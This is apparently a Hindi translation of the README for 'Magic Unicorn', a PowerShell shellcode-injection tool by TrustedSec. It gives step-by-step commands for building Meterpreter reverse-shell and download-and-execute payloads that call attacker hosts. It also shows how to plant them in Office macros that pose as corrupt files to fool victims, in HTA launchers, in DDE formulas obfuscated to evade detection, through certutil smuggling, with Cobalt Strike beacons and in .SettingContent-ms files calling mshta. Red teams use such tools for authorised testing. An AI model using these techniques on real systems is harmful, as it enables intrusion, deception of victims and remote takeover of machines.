
Unicorn एक सरल उपकरण है जो PowerShell डाउनग्रेड हमले का उपयोग करके शेलकोड को सीधे मेमोरी में इंजेक्ट करने के लिए है। यह Matthew Graeber के PowerShell हमलों और David Kennedy (TrustedSec) और Josh Kelly द्वारा Defcon 18 में प्रस्तुत PowerShell बायपास तकनीक पर आधारित है।
लेखक: डेव कैनेडी (@HackingDave) वेबसाइट: https://www.trustedsec.com
Magic Unicorn एक सरल उपकरण है जो PowerShell डाउनग्रेड अटैक का उपयोग करके शेलकोड को सीधे मेमोरी में इंजेक्ट करता है। यह Matthew Graeber के PowerShell अटैक और David Kennedy (TrustedSec) और Josh Kelly द्वारा Defcon 18 में प्रस्तुत PowerShell बायपास तकनीक पर आधारित है।
उपयोग सरल है, बस Magic Unicorn चलाएँ (सुनिश्चित करें कि Metasploit स्थापित है यदि Metasploit विधियों का उपयोग कर रहे हैं और सही पथ पर है) और magic unicorn स्वचालित रूप से एक PowerShell कमांड उत्पन्न करेगा जिसे आपको बस कॉपी करके कमांड लाइन विंडो या पेलोड डिलीवरी सिस्टम के माध्यम से पेस्ट करना होगा। Unicorn आपके अपने शेलकोड, कोबाल्ट स्ट्राइक और Metasploit का समर्थन करता है।
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
किसी भी Windows प्लेटफ़ॉर्म पर मूल x86 PowerShell इंजेक्शन हमले।
लेखक: डेव कैनेडी, TrustedSec (https://www.trustedsec.com)
ट्विटर: @TrustedSec, @HackingDave
श्रेय: Matthew Graeber, Justin Elze, Chris Gates
हैप्पी मैजिक यूनिकॉर्न।
उपयोग: python unicorn.py payload reverse_ipaddr port <optional hta या macro, crt>
PS उदाहरण: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
मैक्रो उदाहरण: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
मैक्रो उदाहरण CS: python unicorn.py <cobalt_strike_file.cs> cs macro
मैक्रो उदाहरण शेलकोड: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA उदाहरण: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA उदाहरण CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA उदाहरण शेलकोड: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE उदाहरण: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT उदाहरण: python unicorn.py <path_to_payload/exe_encode> crt
कस्टम PS1 उदाहरण: python unicorn.py <path to ps1 file>
कस्टम PS1 उदाहरण: python unicorn.py <path to ps1 file> macro 500
कोबाल्ट स्ट्राइक उदाहरण: python unicorn.py <cobalt_strike_file.cs> cs (C# प्रारूप में CS निर्यात करें)
कस्टम शेलकोड: python unicorn.py <path_to_shellcode.txt> shellcode (0x00 स्वरूपित)
सहायता मेनू: python unicorn.py --help
अब सब कुछ दो फ़ाइलों में उत्पन्न होता है: powershell_attack.txt और unicorn.rc। टेक्स्ट फ़ाइल में PowerShell अटैक को मेमोरी में इंजेक्ट करने के लिए आवश्यक सभी कोड होते हैं। ध्यान दें कि आपको किसी ऐसे स्थान की आवश्यकता होगी जो किसी प्रकार के रिमोट कमांड इंजेक्शन का समर्थन करता हो। अक्सर यह एक्सेल/वर्ड डॉक, या Metasploit में psexec_commands, SQLi आदि के माध्यम से हो सकता है। इस अटैक के उपयोग के अनेक निहितार्थ और परिदृश्य हैं। बस powershell_attack.txt कमांड को किसी भी कमांड प्रॉम्प्ट विंडो में पेस्ट करें, या जहाँ आपके पास PowerShell निष्पादन योग्य को कॉल करने की क्षमता है, और यह आपको एक शेल वापस देगा। यह अटैक केवल Meterpreter पेलोड के बजाय पेलोड विधि के रूप में windows/download_exec का भी समर्थन करता है। डाउनलोड और निष्पादन का उपयोग करते समय, बस python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe डालें और PowerShell कोड पेलोड डाउनलोड करेगा और निष्पादित करेगा।
ध्यान दें कि अटैक को कैप्चर करने के लिए आपको एक लिसनर सक्षम रखना होगा।
मैक्रो अटैक के लिए, आपको File, Properties, Ribbons पर जाकर Developer चुनना होगा। एक बार ऐसा करने के बाद, आपके पास एक डेवलपर टैब होगा। एक नया मैक्रो बनाएँ, उसे Auto_Open नाम दें और उत्पन्न कोड को उसमें पेस्ट करें। यह स्वचालित रूप से चलेगा। ध्यान दें कि एक संदेश प्रॉम्प्ट होगा जो उपयोगकर्ता को बताएगा कि फ़ाइल दूषित है और अपने आप एक्सेल दस्तावेज़ बंद हो जाएगा। यह सामान्य व्यवहार है! यह पीड़ित को यह सोचने पर मजबूर करने की चाल है कि एक्सेल दस्तावेज़ दूषित है। इसके बाद आपको PowerShell इंजेक्शन के माध्यम से एक शेल प्राप्त करना चाहिए।
यदि आप Office365/2016+ संस्करणों के Word के विरुद्ध इसे तैनात कर रहे हैं, तो आपको आउटपुट की पहली पंक्ति को इस प्रकार बदलना होगा:
Sub Auto_Open()
से:
Sub AutoOpen()
मैक्रो का नाम भी लीगेसी "Auto_Open" नामकरण योजना के बजाय "AutoOpen" होना चाहिए।
नोट: एक्सेल में कॉपी और पेस्ट करते समय, यदि कोई अतिरिक्त स्पेस जुड़ते हैं, तो आपको उन्हें वेरिएबल "x" के अंतर्गत प्रत्येक PowerShell कोड सेक्शन के बाद हटाना होगा, अन्यथा सिंटैक्स त्रुटि होगी!
HTA अटैक स्वचालित रूप से दो फ़ाइलें उत्पन्न करेगा, पहली index.html जो ब्राउज़र को Launcher.hta का उपयोग करने का निर्देश देती है, जिसमें दुर्भावनापूर्ण PowerShell इंजेक्शन कोड होता है। सभी फ़ाइलें hta_access/ फ़ोल्डर में निर्यात की जाती हैं और तीन मुख्य फ़ाइलें होंगी। पहली index.html, दूसरी Launcher.hta और अंतिम, unicorn.rc फ़ाइल। आप msfconsole -r unicorn.rc चलाकर Metasploit के लिए लिसनर लॉन्च कर सकते हैं।
HTA अटैक के सही ढंग से काम करने के लिए उपयोगकर्ता को अनुमति देनी होगी और स्वीकार करना होगा।
certutil अटैक वेक्टर Matthew Graeber (@mattifestation) द्वारा पहचाना गया था, जो आपको एक बाइनरी फ़ाइल लेने, उसे base64 प्रारूप में बदलने और पीड़ित मशीन पर certutil का उपयोग करके वापस बाइनरी में बदलने की अनुमति देता है। यह वस्तुतः किसी भी सिस्टम पर काम करना चाहिए और आपको एक नकली प्रमाणपत्र फ़ाइल के माध्यम से पीड़ित मशीन पर एक बाइनरी स्थानांतरित करने की अनुमति देता है। इस अटैक का उपयोग करने के लिए, बस unicorn के पथ में एक निष्पादन योग्य रखें और base64 आउटपुट प्राप्त करने के लिए python unicorn.py <exe_name> crt चलाएँ। एक बार यह समाप्त हो जाने के बाद, decode_attack/ फ़ोल्डर पर जाएँ जिसमें फ़ाइलें हैं। bat फ़ाइल एक कमांड है जिसे Windows मशीन पर चलाकर इसे वापस बाइनरी में बदला जा सकता है।
यह अटैक विधि आपको किसी भी PowerShell फ़ाइल (.ps1) को एन्कोडेड कमांड या मैक्रो में बदलने की अनुमति देती है।
ध्यान दें कि यदि मैक्रो विकल्प चुन रहे हैं, तो एक बड़ी ps1 फ़ाइल VBA द्वारा अनुमत कैरिज रिटर्न की संख्या से अधिक हो सकती है। आप प्रत्येक VBA स्ट्रिंग में वर्णों की संख्या को पैरामीटर के रूप में एक पूर्णांक देकर बदल सकते हैं।
उदाहरण:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
अंतिम वाला डिफ़ॉल्ट 380 के बजाय 500 वर्णों वाली स्ट्रिंग का उपयोग करेगा, जिसके परिणामस्वरूप VBA में कम कैरिज रिटर्न होंगे।
यह अटैक वेक्टर Word या Excel में रखने के लिए DDEAUTO फॉर्मूलेट उत्पन्न करेगा। COM ऑब्जेक्ट DDEInitialize और DDEExecute सीधे Office के भीतर फ़ॉर्मूले बनाने की अनुमति देते हैं, जो मैक्रो की आवश्यकता के बिना रिमोट कोड निष्पादन प्राप्त करने की क्षमता प्रदान करता है। यह अटैक दस्तावेज़ीकृत किया गया था और पूर्ण निर्देश निम्नलिखित पर पाए जा सकते हैं:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
इस अटैक का उपयोग करने के लिए, निम्नलिखित उदाहरण चलाएँ:
python unicorn.py <payload> <lhost> <lport> dde
python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde
एक बार उत्पन्न होने पर, एक powershell_attack.txt उत्पन्न होगा जिसमें Office कोड होता है, और unicorn.rc फ़ाइल जो लिसनर घटक है जिसे msfconsole -r unicorn.rc द्वारा पेलोड के लिए लिसनर को संभालने के लिए कॉल किया जा सकता है। इसके अलावा एक download.ps1 भी निर्यात किया जाएगा (बाद के अनुभाग में समझाया गया)।
पेलोड लागू करने के लिए, उदाहरण के रूप में (sensepost लेख से):
एक बार Office दस्तावेज़ खुलने के बाद, आपको PowerShell इंजेक्शन के माध्यम से एक शेल प्राप्त करना चाहिए। ध्यान दें कि DDE वर्ण आकार में सीमित है और हमें डाउनलोड करने की विधि के रूप में Invoke-Expression (IEX) का उपयोग करने की आवश्यकता है।
DDE अटैक download.ps1 डाउनलोड करने का प्रयास करेगा, जो हमारा PowerShell इंजेक्शन अटैक है क्योंकि हम आकार प्रतिबंधों में सीमित हैं। आपको download.ps1 को ऐसे स्थान पर ले जाना होगा जो पीड़ित मशीन के लिए सुलभ हो। इसका मतलब है कि आपको download.ps1 को Apache2 निर्देशिका में होस्ट करना होगा जिस तक उसकी पहुँच हो।
आप देख सकते हैं कि कुछ कमांड "{ QUOTE" का उपयोग करते हैं, ये विशिष्ट कमांड को छिपाने के तरीके हैं, जो यहाँ दस्तावेज़ीकृत हैं: http://staaldraad.github.io/2017/10/23/msword-field-codes/। इस मामले में हम WindowsPowerShell, powershell.exe, और IEX को बदल रहे हैं ताकि पहचान से बचा जा सके। साथ ही URL देखें क्योंकि इसमें DDE को बिल्कुल न कॉल करने के कुछ बेहतरीन तरीके हैं।
यह विधि सीधे Cobalt Strike से Cobalt Strike Beacon शेलकोड आयात करेगी।
Cobalt Strike के अंदर, Cobalt Strike "CS" (C#) निर्यात को निर्यात करें और इसे एक फ़ाइल में सहेजें। उदाहरण के लिए, फ़ाइल को cobalt_strike_file.cs नाम दें।
निर्यात कोड कुछ इस तरह दिखेगा:
इसके बाद, उपयोग के लिए:
python unicorn.py cobalt_strike_file.cs cs
cs तर्क Unicorn को बताता है कि आप Cobalt Strike कार्यक्षमता का उपयोग करना चाहते हैं। बाकी मैजिक है।
इसके बाद बस PowerShell कमांड को किसी ऐसी चीज़ पर कॉपी करें जहाँ आपके पास रिमोट कमांड निष्पादन की क्षमता हो।
नोट: ठीक से पार्स करने के लिए फ़ाइल को Cobalt Strike के अंदर C# (CS) प्रारूप में ही निर्यात किया जाना चाहिए।
इस अटैक के साथ कुछ सावधानियाँ हैं। ध्यान दें कि पेलोड का आकार 14k+ बाइट्स से थोड़ा अधिक होगा। इसका मतलब है कि कमांड लाइन तर्क के दृष्टिकोण से यदि आप कॉपी और पेस्ट करते हैं तो आप 8191 वर्ण आकार की सीमा (cmd.exe में हार्डकोडेड) को हिट करेंगे। यदि आप सीधे cmd.exe से लॉन्च कर रहे हैं तो यह एक समस्या है, हालाँकि यदि आप सीधे PowerShell या अन्य सामान्य अनुप्रयोगों से लॉन्च कर रहे हैं तो यह कोई समस्या नहीं है।
यहाँ कुछ उदाहरण दिए गए हैं, wscript.shell और powershell USHORT - 65535 / 2 = 32767 आकार सीमा का उपयोग करते हैं:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
इस अटैक के लिए यदि आप सीधे powershell, VBSCript (WSCRIPT.SHELL) से लॉन्च कर रहे हैं, तो कोई समस्या नहीं है।
यह विधि आपको Unicorn अटैक में अपना स्वयं का शेलकोड डालने की अनुमति देगी। PowerShell कोड powershell.exe के स्टैक आकार को बढ़ाएगा (VirtualAlloc के माध्यम से) और इसे मेमोरी में इंजेक्ट करेगा।
ध्यान दें कि इसके काम करने के लिए, आपकी txt फ़ाइल जिसे आप Unicorn की ओर इंगित करते हैं, निम्नलिखित प्रारूप में होनी चाहिए अन्यथा यह काम नहीं करेगी:
0x00,0x00,0x00 और इसी तरह।
यह भी ध्यान दें कि आकार प्रतिबंध हैं। PowerShell कमांड की कुल लंबाई 8191 के आकार से अधिक नहीं हो सकती। यह Windows में अधिकतम कमांड लाइन तर्क आकार सीमा है।
उपयोग:
python unicorn.py shellcode_formatted_properly.txt shellcode
इसके बाद बस PowerShell कमांड को किसी ऐसी चीज़ पर कॉपी करें जहाँ आपके पास रिमोट कमांड निष्पादन की क्षमता हो।
नोट: फ़ाइल को ठीक से 0x00,0x00,0x00 प्रकार के प्रारूप में स्वरूपित किया जाना चाहिए, जिसमें टेक्स्ट फ़ाइल में आपके शेलकोड के अलावा और कुछ न हो।
इस अटैक के साथ कुछ सावधानियाँ हैं। ध्यान दें कि यदि आपके पेलोड का आकार स्वाभाविक रूप से बड़ा है तो यह cmd.exe में फ़िट नहीं होगा। इसका मतलब है कि कमांड लाइन तर्क के दृष्टिकोण से यदि आप कॉपी और पेस्ट करते हैं तो आप 8191 वर्ण आकार की सीमा (cmd.exe में हार्डकोडेड) को हिट करेंगे। यदि आप सीधे cmd.exe से लॉन्च कर रहे हैं तो यह एक समस्या है, हालाँकि यदि आप सीधे PowerShell या अन्य सामान्य अनुप्रयोगों से लॉन्च कर रहे हैं तो यह कोई समस्या नहीं है।
यहाँ कुछ उदाहरण दिए गए हैं, wscript.shell और powershell USHORT - 65535 / 2 = 32767 आकार सीमा का उपयोग करते हैं:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
इस अटैक के लिए यदि आप सीधे powershell, VBSCript (WSCRIPT.SHELL) से लॉन्च कर रहे हैं, तो कोई समस्या नहीं है।
सबसे पहले, यदि आपके पास मौका नहीं है, तो Matt Nelson (enigma0x3) के शानदार SpectreOps ब्लॉग पर जाएँ:
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
यह विधि ".SettingContent-ms" नामक एक विशिष्ट फ़ाइल प्रकार का उपयोग करती है जो ब्राउज़र से सीधे लोड (ओपन + कमांड निष्पादन) और ऑफिस उत्पादों में एम्बेडिंग के माध्यम से एक्सटेंशन प्रकार दोनों की अनुमति देती है। यह विशेष रूप से Unicorn के PowerShell अटैक वेक्टर में कमांड निष्पादन के लिए एक्सटेंशन प्रकार सेटिंग्स पर ध्यान केंद्रित करेगा।
इस अटैक वेक्टर के साथ कई विधियाँ समर्थित हैं। चूंकि इस अटैक के साथ एक सीमित वर्ण आकार है, तैनाती की विधि HTA है।
इस अटैक को हथियार बनाने की विस्तृत समझ के लिए यहाँ जाएँ:
https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
इस अटैक को पूरा करने के लिए आपको जिन चरणों का पालन करना होगा, वे हैं अपनी .SettingContent-ms फ़ाइल को स्टैंडअलोन या hta से उत्पन्न करना। HTA विधि Metasploit, Cobalt Strike और प्रत्यक्ष शेलकोड अटैक का समर्थन करती है।
उपयोग के चार तरीके नीचे दिए गए हैं:
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA उदाहरण SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA उदाहरण SettingContent-ms: python unicorn.py <path_to_shellcode.txt>: shellcode ms
उत्पन्न करें .SettingContent-ms: python unicorn.py ms
पहला Metasploit पेलोड है, दूसरा Cobalt Strike, तीसरा आपका अपना शेलकोड, और चौथा सिर्फ एक खाली .SettingContent-ms फ़ाइल है।
जब सब कुछ उत्पन्न हो जाता है, तो यह Standalone_NoASR.SettingContent-ms नामक फ़ाइल को या तो डिफ़ॉल्ट रूट Unicorn निर्देशिका में (यदि स्टैंडअलोन फ़ाइल जनरेशन का उपयोग कर रहे हैं) या hta_attack/ फ़ोल्डर के अंतर्गत निर्यात करेगा। आपको Standalone_NoASR.SettingContent-ms फ़ाइल को संपादित करना होगा और बदलना होगा:
REPLACECOOLSTUFFHERE
को:
mshta http://<apache_server_ip_or_dns_name/Launcher.hta.
इसके बाद hta_attack की सामग्री को /var/www/html पर ले जाएँ।
एक बार पीड़ित .SettingContent-ms फ़ाइल पर क्लिक करता है, तो पीड़ित मशीन पर mshta कॉल किया जाएगा और फिर Unicorn HTA फ़ाइल डाउनलोड होगी जिसमें कोड निष्पादन क्षमताएँ हैं।
Matt Nelson को विशेष धन्यवाद और सराहना इस शानदार शोध के लिए।
यह भी देखें: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/
उपयोग:
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
python unicorn.py <cobalt_strike_file.cs cs ms
python unicorn.py <patth_to_shellcode.txt>: shellcode ms
python unicorn.py ms